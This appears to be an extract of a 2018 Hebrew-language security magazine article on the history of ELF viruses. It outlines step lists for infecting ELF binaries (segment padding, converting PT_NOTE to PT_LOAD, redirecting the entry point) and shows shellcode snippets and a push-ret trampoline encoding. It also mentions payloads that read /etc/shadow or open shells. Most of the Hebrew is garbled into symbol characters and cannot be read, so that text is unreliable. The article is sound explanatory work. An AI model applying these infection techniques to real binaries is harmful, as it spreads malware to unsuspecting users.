alignment  ˸ˣ˩˶˰ˬ˟ ˸˷˶ˣˬˢ ˶˸ˣ˧˟ ˢˮ˦˵ˢ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢ .˭ˣ˶˩ˤ˟ "˱ˡ" ˪˷ ˫˧˪ˡˠ˟ ˣ˸ˣ˞ ˪˧ˡˠˮ

 ˸ˣ˧ˮ˶ˡˣˬ ˯˵ˣˮ˧˪mmap_min_addr)/proc/sys/vm/(  ˞˧ˢ0x1000  ˶˟ˡ ˶˷˞ ˶˷˞˩ ˣˮ˧˸˟ˣ˦˪ ˵˥˷ˬ

 ˦ˮˬˠ˯ ˪˷ ˢˮ˧˰˦ˢ "ˢ˪˧˥˸ˬ" ˟ˣ˶˪ ˢˮˬˬ˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ˸˩ˢˢ ˸ˣ˩˶˰ˬ˟ ˦˯˵˦32- ˞˧ˢ ˦˧˟

0x8048000 ˸˩ˢˣ ˸ˣ˩˶˰ˬ˟ ˦˯˵˦ ˦ˮˬˠ˯ ˪˷ ˢˮ˧˰˦ˢ "ˢ˪˧˥˸ˬ" ˟ˣ˶˪ ˢˮˬˬ˷ ˸˧˪˞ˣ˦˶˧ˣˢ ˸˟ˣ64- ˦˧˟

 ˞˧ˢ0x400000. 

 ˸ˣ˥˲ ˸˧˸˪˥˸ˢˢ ˸˟ˣ˸˩ˢ ˪ˡˣˠ˩ ˞ˣˢ ˵˧˶ˤˢ˪ ˪˩ˣˮ˷ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˡˣ˵ˢ ˢ˷˰ˬ˪˷ ˨˩0x1000  ˸ˣ˥˲

ˢ ˪˷ ˣ˪ˡˣˠ-ehdr ˧˦ˮˣˣ˪˶ˢ )32/64 .(˦˧˟ ˢ ˢ˦˧˷ˢ ˭˩˪ˣ ˢˬˣ˴˰ ˞˧ˢ ,˪ˡˣˠ ˸˪˟ˠˢ ˸ˬ˧˧˵˷ ˧˲ ˪˰ ˱˞ ˣˤ

 ˦ˮˬˠ˯ ˸˪ˡˠˢ ˪˷ ˢ˦˧˷ˢ ˸˞ ˢ˯˧˟ˬ ˢ˦˞ˡˢ.ˢ˴˧˶ ˸ˣ˞˷˶ˢ ˫˧ˮ˷ˬ ˣˮˮ˧˞˷ ˨˩ ˫˴˰ˬ 
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:˪˰ˣ˲˟ ˰ˣ˴˧˟ˢ 

//*ˢ˶˰ˢ :˯˥˧˧˸ˮ ˪ˡˣˠ˪ ˡˣ˵ˢ ˵˧˶ˤˮ˷ ˪ˡˣˠ˩ ˡˣ˵ˢ ˶˥˞˪ alignment ˪ˡˣˠ˪ ˪˷ "˱ˡ" 

 
)1 (˷ˠ˧ˮ ˪-ehdr ˪˧ˡˠˮˣ ˸˞ e_shoff ˪ˡˣˠ˩ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
 
)2 (˷ˠ˧ˮ ˪-ehdr ˪˧ˡˠˮˣ ˫ˠ ˸˞ e_phoff ˪ˡˣˠ˩ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
 
)3 (˶ˣ˟˰ˮ ˪˰ s-phdrs: 
    ˷˲˥ˮ ˸˞ s-phdr ˶˷˞ ˶˧ˡˠˬ ˸˞ ˦ˮˬˠ˯ ˦˯˵˦ˢ - ˡ˧˥˧ˢ ˪˰˟ ˸ˣ˞˷˶ˢ ˢ˴˶ˢ ˢ˞˧˶˵ˣ )PF_R | PF_X == r-x:( 

        ˪˧ˡˠˮ ˸˞ p_filesz ˪ˡˣˠ˟ ˪˷ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
        ˪˧ˡˠˮ ˸˞ p_memsz ˪ˡˣˠ˟ ˪˷ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
        ˶˯˥ˮ ˬ-p_vaddr ˸˞ ˪ˡˣˠ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
        ˶˯˥ˮ ˬ-p_paddr ˸˞ ˪ˡˣˠ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
     ˶ˣ˟˰˟ ˪˩ phdr ˞˴ˬˮ˷ ˧˶˥˞ ˦˯˵˦ ,˪˧ˡˠˮ ˸˞ p_offset ˪ˡˣˠ˟ ˡˣ˵ˢ ˵˧˶ˤˮ˷. 

//*˫˧˟˪˷ 4+5 :˫˧˧ˮ˧˟ ˪"˶ˣˡ˧˯ "-ssection headers - ˣˮ˧˞ ˢ˟ˣ˥ * 
 

)4 (˶ˣ˟˰ˮ ˪˰ sshdrs: 
    ˶ˣ˟˰˟ ˪˩ shdr ˫ˣ˵˧ˬˢ˷ ˣ˪˷ ˧˶˥˞ ˡˣ˵ˢ ˵˶ˤˣˬˢ)˧˶˥˞ ˢ˪˥˸ˢˢ ˪˷ ˦˯˵˦ (˪˧ˡˠˮ ˸˞ ˸ˣˡ˷ˢ ˫˧˦ˮˣˣ˪˶ˢ 

˪ˡˣˠ˟ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
 
)5 (˱˧˯ˣˮ shdr ñ˶˵˷ "˪˧˩˧˷ ˢ˦˞ˡ ˸ˣˡˣ˞ ˡˣ˵ˢ ˵˶ˤˣˬˢ 
 
)6 (˟˧˴ˮ ˸˞ ˡˣ˵ˢ ˣˮ˞˷ ˫˧˵˧˶ˤˬ ˸˪˧˥˸˟ ˦ˮˬˠ˯ ˦˯˵˦ˢ 

 

PT_NOTE Infection 

ˢ˟ ˭ˣˡˮ˷ ˢˮˣ˶˥˞ˣ ˸˲˯ˣˮ ˸˶˩ˣˬ ˢ˦˧˷ ) ˣ˧˟˪˧˯ ˸˧˟ˬ ˞˪ ˫˰˲ˢ˸ˣ˵˟ˡˢ ˬ"˰˟( ˡˣ˵ ˸˵˶ˤˢ ˞˧ˢ ,

 ˠˣ˯ˬ ˦ˮˬˠ˯˪PT_NOTE  ˳˟ˣ˵ ˪˩˟ ˫˧˧˵ ˶˷˞ELF. 

 ˪˩˪ ,˫˩˪ ˰ˣˡ˧˷ ˧˲˩program header ˣˮ˶ˣ˟˰ ˶˴ˣ˧ ˶˪˧˧˲ˬˣ˵ˢ .ˣˠˣ˯ ˸˞ ˶˞˸ˬˢ ,ˠˣ˯ ˪˷ ˢˡ˷program 

header  ˠˣ˯ˬ ˡ˥˞PT_NOTE "˶ˤ˰" ˰ˡ˧ˬ ˞˴ˬˮ ˢˤˢ ˦ˮˬˠ˯˟ . ˪˰ˣ˩ˣ ˸ˣ˞˯˶ˠ ,˸˩˶˰ˬˢ ˠˣ˯ ˸ˣˡˣ˞' .

˞ ˢˤ ˰ˡ˧ˬ ˣ˸ˣ˞ ˟˯ˢ˪ ˪˩ˣˮ ,ˢˤˢ ˦ˮˬˠ˯ˢ ˧˪˟ˬ ˳ˣ˶˸ ˸˧ˮ˩ˣ˸ˢ˷ ˫ˣ˷ˬˣ ˸˧ˮ˩ˣ˸ˢ ˸˴˧˶˪ ˧˦ˮˣˣ˪˶ ˣˮ˧

 ˠˣ˯ˬ ˦ˮˬˠ˯˪PT_LOAD˸ˣ˞˷˶ˢˢ ˸˞ ˣ˪ ˢˮ˷ˮ ,˭ˣ˶˩ˤ˪ ˭˰˦ˮˢ ˦ˮˬˠ˯ ˶ˬˣ˪˩ ,  (ˢ˴˧˶ ˸˞˷˶ˢ ˱˧˯ˣˮ)

.ˡˣ˵ ˣˮˬˬ ˳˧˶ˢ˪ ˶˷˲˞˷ ,˭ˣ˶˩ˤ˪ ˭˰˦ˮˢ ˦ˮˬˠ˯ ˡˣ˰ ˪˟˵ˮ ˪˰ˣ˲˟ˣ 

ˢ ˦ˮˬˠ˯-PT_NOTE ˣ˧ ˧ˮ˶ˡˣˬ ˶˪˧˧˲ˬˣ˵˷ ˸ˣˮˣ˧˯ˮˬ .ˡ˞ˬ ˭˦˵ ˣˮ˶ˣ˟˰ ˶˴˷ ˶˟ˣˡˬ˷ ˧˪ ˶ˣ˩ˤ ˶˟˰˟ ˧˸˧˷˰

˩ ˪˰-44  ˣ˧˪˞ ˟ˣ˸˩˪ ˡ˞ˬ ˭˦˵ ˪ˡˣˠ ,˫˧˸˟Shellcode ˦˯˲ˣ˞ˢ ˸˞ ˢˮ˷ˮ˷ ˨˩ ˧ˡ˧ ˪˰ ,˸ˣ˪˵˟ ˸˞ˤ ˶ˣ˸˲ˮ .

˦ˮˬˠ˯ ˱ˣ˯˪ ˦ˮˬˠ˯ˢ ˰˧˟˴ˬ ˣ˧˪˞ ˢ˦˞ˡˢ .˷ˡ˥ˢ ˦ˮˬˠ˯ˢ ˸˞ ˫˷ ˟ˣ˸˩ˮˣ 

˞˧ˢ ˣˤ ˢ˦˧˷˪ ˰ˠˣˮ˟ ˢˮˣ˷˞˶ˢ ˢ˟˷˥ˬˢ, ˢ ˦ˮˬˠ˯˟ ˫˧˰ˠˣˮ ˣˮ˞ ˢˬ˪-PT_NOTE  ˫˧˶˴ˣ˧ ˞˪ˣ ,˪˪˩entry 

.˳˟ˣ˵˟ ˱˯ˣˮ ˦ˮˬˠ˯ ˪˷ ˷ˡ˥ 

  



 
 

The History of ELF Viruses 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ97 , ˦˯ˣˠˣ˞2018  13 
 

 ˫˧˧˵ˢ ˸˞ ˸ˣˮ˷˪ ˦ˣ˷˲ "˪˵" ˶˸ˣ˧ ˢ˟˶ˢ ,˶˟ˣˡˬˢ ˦ˮˬˠ˯ˢ ˞˪˪ ˫ˠ ˳ˣ˶˧ ˳˟ˣ˵ˢ˷ ˫ˣ˷ˬ ˨˞ ˧˶˷˲˞ ˶˟ˡˢ

 ˶ˣ˴˧˪ ˞˪ˣentry ˢ ˶ˣ˟˰˟ ˳˟ˣ˵˟ ˫˧˶˟ˡˢ ˟ˣ˶ ˸˞ ˥˧ˤˢ˪ ˣˮ˸ˣ˞ ˳˪˞˧˷ ˱˯ˣˮ-"˸˲˯ˣ˸". 

 

 

 

 

 

 

 

 

 

 

:˪˰ˣ˲˟ ˰ˣ˴˧˟ˢ 

 )1 (˶ˣ˟˰ˮ ˪˰ s-phdrs: 

 
   )2 (˶˸˞ˮ ˸˞ ˢ˦˞ˡˢ ˦ˮˬˠ˯: 

        ˭ˬ ˢ˦˞ˡˢ ˦ˮˬˠ˯ ˶ˬ˷ˮ ˸˞ ˫˧˶˟ˡˢ ˫˧˞˟ˢ - 
             *˸˟ˣ˸˩ˢ ˢ˟ ˫˧˧˸˯ˬ ˢ˦˞ˡˢ ˦ˮˬˠ˯ )p_vaddr + p_memsz( 
             *˦˯˲ˣ˞ˢ x˟ ˫˧˧˸˯ˬ ˢ˦˞ˡˢ ˦ˮˬˡ˯ )p_offset + p_filesz( 
             *˶ˬ˷ˮ ˸˞ ˪ˡˣˠˢ ˷ˣ˶ˡˢ ˪-alignment ˳˟ˣ˵˟ ˶˟ˣˡˬˢ ˫˧˦ˮˬˠ˯˪ ˫˧ˮ˰˦ˮˢ ˭ˣ˶˩ˤ˪ )p_align( 

 
   )3 (˶˸˞ˮ ˸˞ s-phdr ˶ˡˠˣˬˢ ˩-PT_NOTE: 

        ˢˮ˷ˮ ˸˞ p_type  -˪PT_LOAD 
        ˢˮ˷ˮ ˸˞ p_offest  ˦˯˲ˣ˞˪ x˟ ˫˧˧˸˯ˬ ˢ˦˞ˡˢ ˦ˮˬˠ˯ 
        ˢˮ˷ˮ ˸˞ p_vaddr  ˸˟ˣ˸˩˪ ˢ˟ ˫˧˧˸˯ˬ ˦ˮˬˠ˯ ˢ˦˞ˡˢ  +p_align ˬˢ˦˞ˡˢ ˦ˮˬˠ˯ 
        ˱˧˯ˣˮ ˸ˣ˞˷˶ˢ ˢ˴˧˶ ˦ˮˬˠ˯˪ ˢˤ )PF_R | PF_X == r*x( 

 
//*˫˧˟˪˷ 4+5 :˫˧˧ˮ˧˟ ˪"˶ˣˡ˧˯ "-ssection headers - ˣˮ˧˞ ˢ˟ˣ˥* 

)4 (˷ˠ˧ˮ ˪-ehdr ˱˧˯ˣˮˣ ˪-e_shoff ˸˞ ˪ˡˣˠ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 
 
)5 (˶ˣ˟˰ˮ ˪˰ s-shdrs: 
    ˫ˡ˵ˮ ˸˞ ˫˪ˣ˩ ˫˧˩˶˰˟ ˫˧˦ˮˣˣ˪˶ˢ ˪ˡˣˠ˩ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 

 
)6 (˱˧˯ˣˮ section ˷ˡ˥ ˠ˴˧˧ˬˢ ˸˞ ˰˦˵ˢ ˷ˡ˥ˢ ˪˧˩ˬˢ ˸˞ ˡˣ˵ˢ ˵˧˶ˤˮ˷ 

 
)7 (˟˧˴ˮ ˸˞ ˡˣ˵ˢ ˣˮ˥ˮ˞˷ ˫˧˵˧˶ˤˬ ˦˯˲ˣ˞˟ x˟ ˫˧˧˸˯ˬ ˦ˮˬˠ˯ ˢ˦˞ˡˢ 
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˫ˣ˩˧˯ ˸ˣ˦˧˷ ˢ˵˶ˤˢˢ 

 ˢˬ˩ ˣˮ˶˵˧˯ ˢˤ ˵˪˥˟ˣ ,˸ˣ˟ˣ˶ˬˣ ˸ˣˮˣ˷ ˢ˵˶ˤˢ ˸ˣ˦˧˷ ˸ˣˬ˧˧˵ ,˭˧˟ˢ˪ ˭˸˧ˮ ˶˟˩˷ ˧˲˩ ˤ˞.˭ˢˬ ˸ˣˡˡˣ˟  ˲˧˦

 ˭˞˩ ˣˠ˴ˣˢ˷ ˸ˣ˦˧˷ˢ ˫ˠˣ ,ˢˮˣ˷ ˢ˶˵ˬ˪ ˫˧˞˸ˬ ˶˟ˡ ˪˩˷ ˞ˣˢ ˧˪˷ ˭ˣ˧˯˧ˮˢˬ ˫˩˪ ˵˧ˮ˰ˢ˪ ˪˩ˣ˞˷ ˱˯ˣˮ

.˧˲˧˴˲˯ ˢ˶˵ˬ˟ ˨˶ˣ˴˪ ˫˞˸ˢ˟ ˢ˸ˣ˞ ˸ˣˮ˷˪ ˨˞ ˸˥˞ ˢ˦˧˷ ˪˰ ˨ˬ˸˯ˢ˪ ˭˸˧ˮˣ "˧ˮ˧˯ˬ ˢ˶ˣ˸" ˫ˮ˧˞ 

 ˡˣ˰ ˪˰ ˭˞˩ ˟ˣ˸˩˪ˣ ˨˧˷ˬˢ˪ ˧˸˪ˣ˩˧˸ˣ˵˧ˮ˩˦ ˶˲˯ˬ ˶˟˩ ˢˤ ˟˪˷˟˷ ˧˪ ˢ˞˶ˮ ˨˞ , ˨˧˞ ˨˶˰˟ ˣˮ˧˟˸

 ˣˬ˧˞˸˧˷ ˫˩˪˷ˬ ˸ˣ˦˧˷ ˥˸˲˪ ˱˞ˣ ˦ˮ˶˦ˮ˧˞˟ ˸ˣ˲˯ˣˮ ˸ˣ˦˧˷ ˶ˣ˵˥˪ ˣ˪˩ˣ˸ˣ ,˪˰ˣ˲˟ ˫˧˰˴˟˸ˬ ˫˧˶˟ˡˢ

˞˷ˣˮ˟ "˫˧˪˞ˮ˟" ˫˧˶ˬ˞ˬ ˢ˟˶ˢ˷ ˧ˤ˩˶ˬ ˵˪˥ ˡˣ˰˟ ˡ˵ˬ˸ˢ˪ˣ ˨˧˷ˬˢ˪ ˧˸˶˥˟ ,˸˞ˤ ˫ˣ˵ˬ˟ .˫˩˪  ˢˤ

ˣ˧˪˰ ˫˧ˠ˪ˡˬ ˞ˣˢˣ:  ˥ˣ˸˧˲-sShellcode ˣ˧˪˞ ˢ˴˧˲˵˪ ˸ˣ˦˧˷ˣ ,˯ˣ˶˧ˣ˩ ˵˶ˤˣ˧˷! 

 

˸˟˧˸˩ ˫˧˯ˣ˶˧ˣˢ 

.ˣˬ˴˰ ˧ˮ˲˟ ˸ˣˮˬ˞ ˞ˣˢ˷ ˣˡ˧ˠ˧˷ ˣ˪˧˲˞ ˷˧ ,˶ˠ˸˞ˬ ˡ˞ˬ ˟˪˷ ˞ˣˢ ˯ˣ˶˧ˣˢ ˸˟˧˸˩ 

 ˪˩˟ ˣˬ˩ ˤ˞Shellcode ˨ˣ˸˟ ˸ˡ˶˲ˮ ˸ˣ˷˧˩ "˸ˣ˧˥˪" ˨˪ˣˢ ˶˷˞ ˢ˧˴˵˧˲˧˯˲˯ ˞˪˪ ˡˣ˵˟ ˶˟ˣˡˬ ˭˞˩ ˫ˠ ,

 ˸ˣ˧˶˲˯˟ ˷ˬ˸˷ˢ˪ ˪ˣ˩˧ ˞˪ ˞ˣˢ ,˪˧ˠ˶ ˡˣ˵ ˪˷ ˸ˣ˧ˠ˪˧ˣˣ˧˶˲˪ ˢ˩ˣˤ ˣˮˮ˧˞ ˭˩˪ˣ ,˶˥˞ ˡˣ˵ ˟˧˧ˣ˥ˬˣ ,˸ˣ˧˦˶ˡˮ˦˯

.ˣ˪ ˢ˴ˣ˥ˬ ˫˧˧˥˪ ˶ˣ˷˵ˢ ˪˩˟ ˫˧˪ˣ˵˯˧˯ ˪ˣˬ ˸ˣ˶˧˷˧ ˡˣ˟˰˪ 

˩ ˣ˥˸˲˪ ˢ˴˶ˮ ˭˩˪ˣ ,˳˟ˣ˵ ˣ˸ˣ˞˟ ˰ˣˠ˲˪ ˧˪˟ˬ ,˵˶ˤˣ˧ ˣ˧˪˞ ˳˟ˣ˵ ˪˩˟ ˨ˣˬ˸˧ "˧˸ˣ˩˧˞" ˯ˣ˶˧ˣ ,˨˩ ˪˰ ˱˯ˣˮ- 

position-independent code˫ˣ˪˩˟ ˧ˣ˪˸ ˢ˧ˢ˧ ˞˪ˣ ˧˷˲ˣ˥ ˡˣ˟˰˧ ,˭˰˦˧ ˭˩˧ˢ˪ ˢˮ˷ˬ ˞˪˷ ˡˣ˵ ˶ˬˣ˪˩ ,. 

 ˷ˬ˸˷ˢ˪ ˨˶˦˴˧ ˞ˣˢ ,˸ˡ˶˲ˮ ˸ˣ˷˧ ˶ˣ˸˟ ˫ˢ˧˪˞ ˸˷ˠ˪ˣ ˪˟˧˧˦ ˠˮ˧˶˦˯˟ ˫˧˶˟ˡ ˟˧˴ˢ˪ ˪˩ˣ˧ ˞˪ ˣˮ˪˷ ˡˣ˵ˢ

 ˪˷ ˸ˣ˧˯˞˪˵ ˸ˣ˦˧˷˟Shellcode-:ˣˬ˩ ˫˧ 

jmp  ender  

starter :  

 ; at this point we hold a pointer to the string as the first argument 

on the stack  

 

 

ender :  

call  starter  

db "ELF viruses are awesome!"  

˰ˠ˶ ˵˶ ˪˟˞" :˰ˠ˶˩ ˫˩ˬ˴˰˪ ˫˧˶ˬˣ˞ ˫˸˞ ˥˦˟ é˶˲ˣ˥ ˞˧ é ˪˩˪ ˫˧˦ˮˣˣ˪˶˷ ˫˧˶˟ˡ ˪˰ ˶˟ˡˬ ˢ˸˞

Shellcode ñ .é ˣ˟˷ ,ˢˤ˩ ˦˵˧ˣ˶˲˪ ˫˧˷ˠ˧ˮ ˶˷˞˩˷ ,ˢˤ ˪˰ ˣ˟˷˥˸ ˪˟˞ .˫˧˵ˡˣ˴ ˫˸˞˷ ˞˧ˢ ˢ˟ˣ˷˸ˢˣ

 ˟ˣ˸˩˪ ˣ˴˶˸Shellcode  ˧ˡ˩ ˨ˣ˸ ˢ˯ˮˬ˷ ,˧˪ˣ˞ ˫˧˴˟˵ ˵ˣ˥ˬ˪ ˢ˯ˮˬ˷ ,˫˧˶˥˞ ˫˧˴˟˵˪ ˦˷˲˸ˢ˪ ˢ˯ˮˬ˷

 ˥ˣ˸˲˪Socket ˟˷ ˢ˦˞ˡ˟ ˱˵ˣ˸ˢ ˸˞ ˭˧ˤˢ˪ˣ-/etc/shadow  ˸ˣ˷˰˪ˣ ˡ˧˶ˣˢ˪ ˢ˯ˮˬ˷ ,˞ˬˠˣˡ˪insmod 

 ˭ˬˤ˪ˬ ˶˸ˣ˧ ˫˧˟˩˶ˣˬ ˫˧˶˟ˡ ˸˥˞ˣ ˱˪˞ ˡˣ˰ˣ ,˪ˣˡˣˬ ˪ˮ˶˵˪shell  ˸˶ˤ˰˟execve() ˶˟ˣˡˬ˷ ˣˮ˧˟˸ ,

ˣ˧˥ˣ˸˧˲ ˸ˣ˧˴˞ˣ˦˧˯˟.˪˪˩˟ ˸ˣ˦ˣ˷˲ ˞˪ ˸ 
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 ˱˯ˣˮ ˶˟ˡ ˣˮ˧˞˷ˢ ˸˧˟˶ˬ˪ ˧˦ˮˣˣ˪˶-Shellcode-˟ ˰ˣˠ˲˪ ˢ˶ˣ˴ ˫ˣ˷˟ ˢ˴˶ˮ ˞˪ ˭˞˩˷ ˞ˣˢ ,˫˧-flow  ˧˶ˣ˵ˬˢ

˟ ˶˸ˣ˧˟ ˫˧˧˯˧˯˟ ˫˧˷ˣˬ˧˷ˬ ˪˥ˢ ˶ˬˣ˞ ˢˤ .˸˧ˮ˩ˣ˸ˢ ˪˷-pusha ˟x-popa  ˪˩ ˸˞ ˸˧ˮ˯˥ˬ˪ ˫˧˲˥ˣˡ ˶˷˞)

ˡ˰ˣ (ˢˬ˞˸ˢ˟ ˫˧˦ˮˣˣ˪˶ˢ ˫˧˶˦˯˧ˠ˶˪ ˫˸ˣ˞ ˫˧˞˧˴ˣˬˣ ,˫˧˶˦˯˧ˠ˶ˢ  ˭˧ˬ˞ˢ˪ ˧˸˷˵˸ˢ ˧ˬ˴˰˟ ˧ˮ˞˷ ˫˧˩ˣ˟˧˯

 ˣˤ ˢˤˢ ˡˣ˵ˢ ˸˞ ˶ˬ˷˪ ,˳˟ˣ˵ˢ ˨ˣ˸˟ ˧˶ˣ˵ˬ ˡˣ˵ ˸ˣ˯˶ˣˡ "˧ˮˣˡˤ"ˢ ˡˣ˵˪ ˢ˴˧˲˵ˢ ˸ˣ˦˧˷ˬ ˵˪˥ .ˢˮˣ˷˞˶˪

ˢ ˸˞ ˣˮ˶ˡˠˢ˷˩ ˡ˥ˣ˧ˬ˟ ,˪˪˩˟ ˢ˦ˣ˷˲ ˞˪ ˢ˪˦ˬ-Shellcode  ˸ˣ˧ˢ˪ ˟˧˧ˣ˥ˬ˷ ˡ˥˞˩ ˣˮ˪˷position-

independent code  .˫˧˶˵ˬˢ ˟ˣ˶˟ 

ˤ˞... ˮ˰ˠˢ ˶˟˩ ˫˞ˢ˴˧˲˵ ˸ˣ˦˧˷˟ ˭ˣˡ˪ ˣ... 

 

"˸ˣˮ˧˪ˣ˲ˬ˶˦ "˧˪˟ˬ˯˞˟ 

 ˢ˴˧˲˵ ˸ˣ˦˧˷˪ ˧ˣˮ˧˩ˢ ˞ˣˢ ˸ˣˮ˧˪ˣ˲ˬ˶˦˰˧˟˴ˬ˪  ˸ˣ˥˲˷ ˢˬ˩˟ ˧˸ˣ˶˧˶˷Opcode-˫˧ ˫ˮˬ˞ ˣˤ ˢ˦˧˷ .

 ˨˞ ˢˮ˟ˢ˪ ˢ˦ˣ˷˲ˢ˦ˣ˷˲ ˢˮ˧˞ .˪˰ˣ˲˟ ˷ˣˬ˧ˬ˪ ˟ ˪˷ˬ˪-x86 ˢ˴˧˲˵˪ ˶˸ˣ˧˟ ˢ˶˴˵ˢ ˨˶ˡˢ ,˰˧˟˴ˬ˪ ˞˧ˢ ,

 ˸˶ˤ˰˟push + ret: 

push  $<addr > ; pushing an arbitrary address to the stack  

ret  ; popping the arbitrary address from the stack and jumping to it  

encoding is \ x68 \ x78 \ x56 \ x34 \ x12 \ xc3 ( when addr  is 0x12345678  for  the 

sake of the example )  

˸ˣ˧ˣ˦˷ ˧˶ˢ ˢˤ ˣˮ˪˷ ˯ˣ˶˧ˣˢ ˱ˣ˯˟ ˢˮ˧˪ˣ˲ˬ˶˦ ˟ˣ˸˩˪ ˨˞ , ˢˬ ˡˣ˵˪ ˳ˣ˲˵˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ ˶˷˞˩ ˢ˶ˣ˵

?"˧ˮˣˡˤ"ˢ 

-sworkaround ˵˶ˤˣˬˢ ˡˣ˵˪ ˢ˯˧ˮ˩˪ ˸˶˥˞ ˢ˦˧˷˟ ˷ˬ˸˷ˢ˪ ˫˩˪ ˡ˧ˠˢ˪ ˦ˣ˷˲ ˢ˧ˢ˧ ˶˸ˣ˧˟ ˦ˣ˷˲ˢ 

 ˸ˣ˶˥˞ˢ ˸ˣ˦˧˷ˢ ˟ˣ˶˷ ˢˬ ,˸˧ˮ˩ˣ˸ˢ ˸˪˧˥˸˟ ˳ˣ˶˧ ˣˮ˵˶ˤˢ˷ ˡˣ˵ˢ˷ ˢ˧˰˟ ˣˮ˪ ˢ˧ˢ˸ ˞˪ ˟ˣ˶˪˷ ˧˶ˢ)

(ˣˮ˪ ˸ˣ˶˷˲˞ˬ. 

˞ˢ ˸˞ ˢˤ ˣˮ˪ ˸ˮ˸ˣˮ ˣˤˢ ˢ˦˧˷ˢ˷ ˢˬ ,ˢ˴˶ˮ ˵˶˷ ˭˩˧ˢ ,˭ˣ˸ˮ ˰˦˵ ˪˩˟ ˢˮ˧˪ˣ˲ˬ˶˦ "˰ˣ˵˸˪" ˸ˣ˶˷˲

 ˰˴˟˪ ˪˷ˬ˪ ˢ˴˶ˮ ˫ˢ˟ ˫˧˶˵ˬ˟ ˧˷ˣˬ˧˷ ˶˟ˡˢ .ˢ˴˶ˮ˷ ˧˸ˬ ˣˮ˵˶ˤˢ˷ ˡˣ˵˪ ˳ˣ˲˵˪ˣHook  ˡˣ˵ ˰˦˵ ˪˰

.˧˲˧˴˲˯ 

 ˡˣ˵ˢ ˰˦˵˪ ˣˮ˧˷˰˷ ˪ˣˣ˰ˢ ˸˞ ˭˵˸˪ ˨˶˦˴ˮ .˶˥˞ ˡˣ˵ ˰˦˵ ˣˮ˯˶ˡ ˪˟˞ ˵˶ˤˣˬˢ ˡˣ˵˪ ˢ˴˧˲˵ ˣˮˠ˷ˢ ˤ˞ ˧˲ˣ˧

ˬ˪ ,ˣ˶ˣˤ˥˷˟ ˣˮ˯˶ˡ˷ ˞˧ˢ ˢˡˣ˵˲ ˪˩˷ ˢˤ ˫˧ˮ˧˧ˮ˰ˢ ˸˞ ˭˞˩ ˨˟˯ˬ˷ ˢˬ .ˣˮ˯˶ˡ˷ ˸ˣˡˣ˵˲ˢ ˸˴˶ˢ ˢ˷˰

 ˪˷ ˢˮˣ˷ ˶˲˯ˬOpcode-˫˧ .˰˴ˬ˞˟ ˢˡˣ˵˲ ˰ˣ˦˵˪ ˣˮ˪ ˶ˣ˯˞ˣ 

 ˸˥˞˟ ˷ˬ˷˸ˬ ˶˷˞ ,˭ˣ˸˧˧˲ ˦˲˧˶˵˯ ˸˟˧˸˩ ˞ˣˢ ˸ˣˡˣ˵˲ˢ ˸ˣ˶ˬˠˮ ˣ˟ ˫ˣ˵˧ˬˢ ˸˞˧˴ˬ˪ ˸˧˦ˮˠ˪˞ ˨˶ˡ

.˧˪˟ˬ˯˞˯˧ˡ ˰ˣ˴˧˟˪ ˸ˣˬ˧˧˵˷ ˸ˣ˟˶ˢ ˸ˣ˧˶˲˯ˢˬ 

 ,ˢ˧˶ˣ˞˧˸˟)˶ˣ˟˰ ˧˦ˮˣˣ˪˶ ˢ˧ˢ˧˷ ˭˦˵ ˣˢ˷ˬ ˟ˣ˸˩˪ˣ ˫˧ˡ˟ˣ˰ ˫˧˶˪˟ˬ˯˞˯˧ˡ ˨˧˞ ˡˣˬ˪˪ ˫˩˪ ˳˧˪ˬˬ ˧˸˧˧ˢ˫˩ 

 ˸˦˧˷˟linear sweep  ˣ˞recursive traversal ˬ˴˰˟ ˪˩ˢ ˸˞ ˷ˬˬ˪ ˧ˡ˩˟˫˩ ˵˲ˣ˯ˬ ˷˧ˠ˶ˢ˪ˣ˫˧  ˧ˡ˩ ˨ˣ˸
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˪ ˵˧ˤ˧ ˞˪ ˫˪ˣ˰˪˷ ˱˯ˣˮ ˰ˡ˧ ˸˴˧˵˰,˫˩ ˨˞ ˧˯ˣ˶˧ˣ˪ ˫˧˦ˮˣˣ˪˶ˣ ˫˧˦˵˶˲ ˶˸ˣ˧ ˫˧˶˟ˡ˟ ˵˯˰˸ˮ ˣˮ˞ ˧˴˟˵˟ ˫

ELF(ˢ˶ˣ˸ˢ ˪˩ ˸˞ ˡˣˬ˪˪ ˧˪˟ˬ ˢ˵˧˦˵˶˲ˢ ˢ˰˧ˠ˸ ˢ˞˟ˢ ˢ˶ˣ˷˟ ˭˩˪ˣ , 

" ˢ˧˶˲˯ˢ ˪˷ˬ˪pymsasid3 ,ò ˶ˣ˷˧˵ ˪˧˪˩˞ ,˧ˡˬ˪ ˢ˦ˣ˷˲ ˢ˧˶˲˯-˪git  ˸ˣ˞˶˪ ˣ˪˩ˣ˸ˣ ˸ˣ˶ˣ˵ˬ˟ ˢ˪˷

˟ ˨˷ˬˢˢ ˸˞ "ˡ˲˶ˮ" ˶ˣ˵ˬˢ ˸ˣˡˣ˵˲ ˪˷ ˨˶ˣ˞ˢ ˸˞ ˫˞ˣ˸ ˞˪ ˣˮ˯˶ˡ˷ ˡˣ˵ˢ ˶˷˞˩˷ ˭˟ˣˬ˩ .˫˩ˬ˴˰˟-

nop- ˫˧˞ ˰˦˵ ˵˧˸˰ˮˣ ˫ˠ˷ ˭˟ˣˬ˩ .˰˴ˬ˞˟ ˢˡˣ˵˲ ˰ˣ˦˵˪ ˞˪ ˸ˮˬ ˪˰ ,ˢˬ˴˰ "ˢˮ˧˪ˣ˲ˬ˶˦"ˢˬ ˶˸ˣ˧ ˨ˣ˶

